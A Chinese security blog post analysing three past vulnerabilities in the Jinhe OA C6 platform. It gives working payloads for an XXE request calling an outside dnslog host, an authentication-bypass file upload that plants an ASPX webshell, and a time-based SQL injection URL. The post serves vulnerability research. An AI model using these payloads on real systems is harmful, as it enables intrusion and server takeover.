金和oa协同管理平台历史漏洞分析三则

金和oa协同管理平台历史漏洞分析三则

原创 chobits02 C4安全团队 2024-03-26 20:18

金和oa协同管理平台(又称金和C6协调管理平台),共有20多个应用模块,160多个应用子模块,涉及的企业管理业务包括协同办公管理、人力资源管理、项目管理、客户关系管理、企业目标管理、费用管理等多个业务范围。

C6协同管理系统漏洞实在太多,远不止公开的那些漏洞,我就挑几个典型来分析下。
1. XXE漏洞

漏洞所在代码为
J
HSoft.Web.Message.dll

XmlDeal类中初始化方法为Page_Load,会接收输入流中的xml代码进行解析,且没有做鉴权

因此直接请求即可

POST /c6/JHSoft.Web.Message/XmlDeal.aspx HTTP/1.1
Host: xxxx
Content-Type: application/Xml

<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://iohndteton.dgrh3.cn/"> %remote;]>'

dnslog接收到请求信息

2.任意文件上传

这个漏洞因为没有前端代码,分析起来只能靠一半的猜解

漏洞URL路径为

/C6/JHSoft.Web.Portal/EditMain.aspx///?id=1.aspx

漏洞代码在
JHSoft.Web.Portal.dll的EditMain类中

该类初始化方法Page_Load接收两个参数add和id,add为文件保存路径,id为文件名

add不传参时默认保存路径为\
JHSoft.Web.Portal\Default\

回到漏洞URL,访问
/C6/JHSoft.Web.Portal/EditMain.aspx///?id=1.aspx

其中三个斜杠///,起到了权限绕过的作用,无需鉴权即可访问接口

传参id为1.aspx,使得最终保存文件名为1.aspx

在上方输入框中输入一句话,点击保存按钮(btn_save)后会调用对应的方法,即btn_server_click方法,保存文件到服务器

之后保存的shell地址就为

/C6/JHSoft.Web.Portal/Default///1.aspx/

连接即可

3.SQL注入

我也审了不少C6的注入了,其实都很朴实无华,接口没有鉴权+SQL语句中直接拼接参数

举个例子,下面的URL参数
Ince
ntiveID和TVersion存在SQL注入

/C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1%20WAITFOR%20DELAY%20'0:0:5'--&TVersion=1

漏洞代码在
JHSoft.Web.IncentivePlan.dll中

接收参数IncentiveID和TVersion之后,进行初始化GetPlanInfoInit

然后再调用了GetAppFlagById,继续传参

最后竟直接拼接在SQL语句中然后执行,造成SQL注入

END

关注HackingWiki漏洞感知

了解更多安全相关内容